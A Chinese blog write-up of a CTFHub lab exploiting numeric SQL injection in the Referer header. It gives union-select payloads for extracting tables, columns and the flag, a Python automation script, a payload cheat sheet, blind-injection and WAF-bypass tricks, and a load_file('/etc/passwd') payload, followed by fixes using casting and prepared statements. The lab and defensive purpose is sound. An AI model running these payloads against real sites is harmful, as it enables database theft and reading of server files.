云计算百科
云计算领域专业知识百科平台

CTFHub Referer 注入实战:从卡壳到拿 flag 的一小时踩坑记录

CTFHub Referer 注入实战:从卡壳到拿 flag 的一小时踩坑记录

题目:CTFHub – Referer 注入
实战日期:2026-08-06
容器地址:http://challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800/
最终 flag:ctfhub{07b7ce5d4cc04c4e459a923b}
耗时:约一个半小时

这篇与其说是教程,不如说是我的踩坑流水账。中间还高兴了半天,以为拿到了 flag,结果是平台发的彩蛋(假 flag)。所以下面既有"怎么一步步打下来"的步骤,也有"我当时为什么卡住"的真实过程,顺手把 Referer 注入这点事讲明白。


前情:那个让我白高兴的"假 flag"

题目给了一个 URL,打开是个很朴素的页面,回显大概长这样:

ID: 1
Data: ctfhub

页面底下还把原始 SQL 留了一句:select * from news where id=…。这基本是在明示:查询里有个 id 参数,而它的值来自某个地方——区别是,这道题的值不是从 URL 的 ?id= 来的,而是从 HTTP 请求头的 Referer 来的。也就是说,注入点在请求头里,不在地址栏里。

做到一半,容器过期了,页面弹出"环境已到期",顺手给了我一个 flag:ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}。我美滋滋提交,结果是假的——这是 CTFHub 的 Skill Egg 彩蛋,专门安慰手滑把环境玩挂的人,不是这道题的答案。所以如果你也拿到这种"天上掉下来的 flag",先别乐,多半是假的。


1. 我实际踩过的坑

一开始:用 Yakit 瞎 fuzz,看不到 union 的结果

我上来并不知道怎么下手,就开了 Yakit 的 Web Fuzzer,在 Referer 里塞各种 payload 去试。能看到的永远只有原始那行:ID: 1</br>Data: ctfhub。union 的结果死活不出现。

我甚至还写了个 Python 脚本批量跑 payload,照样拿不到。问题不在工具,在我构造的 payload 本身。

坑一:用了单引号

我最开始写的是:

Referer: 1' union select 1,2 –+

结果整个查询直接挂掉,返回空。后来才反应过来:这个注入点是数字型的,后端大概率是把 Referer 当成数字直接拼进 id=$referer,根本不需要(也不该有)单引号去闭合。带上单引号反而把语法搞坏了。

改成不带单引号的写法,查询才正常返回:

Referer: -1 union select 1,2

坑二:用 id=1,union 的结果被原数据盖住了

光去掉单引号还不够。一开始我用的是 1 union select 1,2,页面还是只显示 id=1 的原始数据 ctfhub,union 的 2 根本看不见。

原因很简单:id=1 在数据库里是真实存在的,原查询有结果,union 出来的第二行被挤到后面没人看。要让 union 的结果"浮上来",得让原查询查不到东西——于是用 -1:

Referer: -1 union select 1,2

id=-1 不存在,原查询返回空,union 的 1,2 就成了唯一能显示的东西。页面回显变成了 ID: 1</br>Data: 2,这一步确认了两件事:注入通了,而且查询有两个字段。后面所有 payload 都建立在这两个认知上。

坑三:把表名看错了

拿到表名之后,我手滑把 sfifprdzeu 抄成了 stifprdzeu(多打了个 t),拿去查列名,返回空。对着报错愣了一会儿才回去比对,确认是 sfifprdzeu(少个 t)。这种低级错误在 CTF 里特别常见,表名列名一定复制,不要手敲。


2. 把这个注入讲透(省得下次又卡)

2.1 为什么是数字型、不用引号

看后端这段代码就清楚了:

$referer = $_SERVER['HTTP_REFERER'];
$sql = "SELECT * FROM news WHERE id=$referer";
$result = mysqli_query($conn, $sql);

id=$referer 直接当数字用,没有引号包裹。所以我们的 payload 直接写 -1 union select 1,2 就行。只有字符型(比如 WHERE name='$referer')才需要单引号去闭合。判断错类型,注入从第一步就废了。

2.2 为什么用 -1

SELECT * FROM news WHERE id=1 UNION SELECT 1,2

id=-1 在原表里查无此行,前半部分返回空;UNION 的后半部分 SELECT 1,2 就成了页面唯一的数据来源。如果用 id=1,原行有数据,union 的第二行不会覆盖它,你就只能看到 ctfhub,看不见自己注入出来的值。

一句话:用不存在的 id 把原查询结果清空,让 union 的结果独占回显。

2.3 页面是怎么把结果"吐"出来的

回显 ID: 1</br>Data: ctfhub 不是随便打的,它对应后端大概是这样取字段的:

$row = mysqli_fetch_array($result);
echo "ID: " . $row['id'] . "</br>Data: " . $row['data'];

SELECT * 把两列都取出来了:第一列 id 显示在 ID: 后面,第二列 data 显示在 Data: 后面。所以我们 union select 1,2 时,2 出现在 Data: 后面——这就告诉我们:第二个字段是页面可见的回显位。后面查表名、查列名、读 flag,全部丢进第二个位置。

顺便,确认字段数更稳妥的办法是用 ORDER BY 二分:

Referer: -1 order by 3 –+

报错说明字段数小于 3,再试 order by 2 正常,就能锁定是 2 列。比直接猜 1,2 严谨点,尤其遇到列数不明的情况。


3. 完整拿 flag 的四步

下面是我最终打通的流程。注意:表名和列名是容器随机生成的,你那边一定不一样,所以每一步的结果都要用上一步真实返回的值,别照抄我的。

步骤 1:确认注入点和字段数

Referer: -1 union select 1,2

回显 Data: 2 即证明注入存在、共 2 个字段。

步骤 2:拖出所有表名

Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

我这边返回:sfifprdzeu,news。

  • information_schema.tables 是 MySQL 存"所有表"的系统表;
  • table_schema=database() 限定在当前数据库;
  • group_concat() 把多行表名拼成一行,方便一次看全;
  • news 是题目本来的表,sfifprdzeu 是那个随机命名的可疑表(flag 就藏这)。把 news 排除掉就是目标。

步骤 3:查这个表的列名

Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='sfifprdzeu'

返回:jayplrioux。这就是存放 flag 的列。(再次提醒,表名从步骤 2 复制,别手敲。)

步骤 4:读 flag

Referer: -1 union select 1,jayplrioux from sfifprdzeu

回显:ctfhub{07b7ce5d4cc04c4e459a923b}。拿到。

顺手提几个常用的旁支信息,有时候题目不直接给 flag 而是让你确认环境,用得上:

函数作用示例
database() 当前数据库名 select database()
version() 数据库版本 select version()
user() 当前连接用户 select user()
group_concat() 多行合并成一行 group_concat(table_name)

4. 用 Python 一把梭

手动在 Yakit 里改四次 Referer 也能做,但既然是写笔记,不如写个脚本把四步串起来,下次换个容器直接跑:

import requests
import re

url = "http://challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800/"

def referer(payload):
r = requests.get(url, headers={"Referer": payload}, timeout=10)
# 从回显里抓 Data: 后面那段
m = re.search(r"Data: (.+?)<", r.text)
return m.group(1) if m else ""

# 1. 确认注入
print("[1] 注入测试:", referer("-1 union select 1,2"))

# 2. 拿表名
tables = referer(
"-1 union select 1,group_concat(table_name) "
"from information_schema.tables where table_schema=database()"
)
print("[2] 表名:", tables)

# 排除正常的 news 表,剩下的就是 flag 表
flag_table = [t for t in tables.split(",") if t != "news"][0]
print(" 目标表:", flag_table)

# 3. 拿列名
column = referer(
f"-1 union select 1,group_concat(column_name) "
f"from information_schema.columns where table_name='{flag_table}'"
)
print("[3] 列名:", column)

# 4. 读 flag
flag = referer(f"-1 union select 1,{column} from {flag_table}")
print("[4] Flag:", flag)

跑完基本就是四行输出,最后一行就是 flag。正则 Data: (.+?)< 依赖题目回显格式,如果换题格式变了,改这一处即可。


5. 防御视角

既然是从代码层面理解漏洞,不如也看看怎么修。漏洞根因就一句:把客户端可控的 Referer 直接拼进 SQL,没有任何处理。

最省事的修法——既然 id 本来就是数字,先强转成整数再拼:

$referer = (int)$_SERVER['HTTP_REFERER'];
$sql = "SELECT * FROM news WHERE id=$referer";

数字型强转之后,注入字符直接被当成 0 或整数,拼不进语法。但更通用、更推荐的还是预编译(参数化查询),字符型也能防:

$stmt = $conn->prepare("SELECT id, data FROM news WHERE id = ?");
$stmt->bind_param("i", $referer);
$stmt->execute();
$result = $stmt->get_result();

顺带一提,这道题真正的教训不是"Referer 危险",而是:任何来自客户端的输入(URL 参数、请求头、Cookie、Body)都不可信。很多新手只防 GET 参数,结果注入点藏在 User-Agent、Referer、Cookie 里照样被打穿。CTF 把注入点放在 Referer,就是在练你"找非常规输入点"的嗅觉。


6. 做完的 Checklist

下次遇到 Referer 注入(或者任何头注入),照这个顺序走:

  • 确认注入点在哪个请求头(Referer / UA / Cookie)
  • 用 -1 union select 1,2(数字型)或 '-1' union select 1,2 –+(字符型)确认回显位和字段数
  • order by N 兜底验证字段数
  • 查表名,排除正常表,锁定可疑的随机表
  • 查列名(表名从上一步行复制,别手敲)
  • 读数据拿 flag
  • 容器到期就重开,重开后表名列名会变,别直接复用旧值

7. 常用 Payload 速查

存下来,下次直接改着用:

— 确认注入 / 字段数
1 union select 1,2

— 环境信息
1 union select 1,database()
1 union select 1,version()
1 union select 1,user()

— 所有表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

— 指定表的所有列名(把 TABLE 换成真实表名)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='TABLE'

— 读数据(把 COL / TABLE 换成真实值)
1 union select 1,COL from TABLE


8. 如果题目再刁钻一点

这套 union 回显能打通,前提是页面会把查询结果回显出来。要是题目不回显(盲注),或者前面挡了 WAF,就得更进一步:

  • 布尔盲注:靠页面返回真假来逐字符猜。比如 if(ascii(substr(database(),1,1))>100,1,0),看 Data 是 1 还是 0 来二分。
  • 时间盲注:不回显就靠延迟。if(ascii(substr(database(),1,1))>100,sleep(5),0),响应慢了 5 秒说明条件成立。
  • 绕 WAF:大小写混写 UnIoN SeLeCt、注释分割 -1/**/union/**/select/**/1,2、关键字编码等,看过滤规则松紧。
  • 读文件:若有 FILE 权限,-1 union select 1,load_file('/etc/passwd') 能直接读服务器文件。

这些是后话,这篇先把"有回显的 union 注入"走顺,后面遇到盲注再单独记。


附:环境和工具

  • 靶场:CTFHub – Referer 注入(容器有使用时限,到期会发假 flag 彩蛋,重开即可,但表名列名会重置)
  • 手工工具:Yakit Web Fuzzer,手动在请求头里加 Referer 行,逐个试 payload,右侧看响应
  • 自动化:Python + requests,上面那个脚本
  • 参考:OWASP SQL Injection 词条、MySQL information_schema 官方文档、CTFHub 对应题目页
赞(0)
未经允许不得转载:网硕互联帮助中心 » CTFHub Referer 注入实战:从卡壳到拿 flag 的一小时踩坑记录
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!